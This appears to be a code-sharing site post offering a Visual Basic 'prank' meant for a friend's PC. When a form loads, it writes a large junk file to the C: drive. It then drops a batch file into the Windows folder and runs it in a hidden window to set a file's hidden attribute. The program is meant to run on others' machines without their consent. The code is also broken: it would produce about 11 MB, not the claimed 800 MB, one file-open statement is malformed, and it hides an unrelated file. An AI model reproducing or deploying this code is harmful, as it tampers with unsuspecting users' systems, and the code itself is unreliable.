• Home
 · 
• Jokes/Humor
 · 
• Make 800mb (lol)

Make 800mb (lol)

(Update)This will create a file and add 999999 words to it. It can take upto 800mb of HDD space. silly simple code but i had fun with my friends PC, Lol.
Ok have 800mb's of fun.
If you give me 5 votes i will pay :) hehe

API Declarations
Nothing here.

Rate Make 800mb (lol)

• 1
• 2
• 3
• 4
• 5

(7(7 Vote))

Private Sub Form_Load()
'By Chad.Lex
'UK/Wales
Path_ = "c:\Hello.txt"
Open Path_ For Output As #1
For i = 1 To 999999
Print #1, "Hahahahaha"
Next i
Close #1
'Now i have hidden the 800mb file from user. Now whats he going to do??
Open "c:\Windows\Hide.bat"
Print #1, "Attrib +h c:\Win1.exe"
Close #1
RetVal = Shell("c:\Windows\Hide.bat", vbHide)
End Sub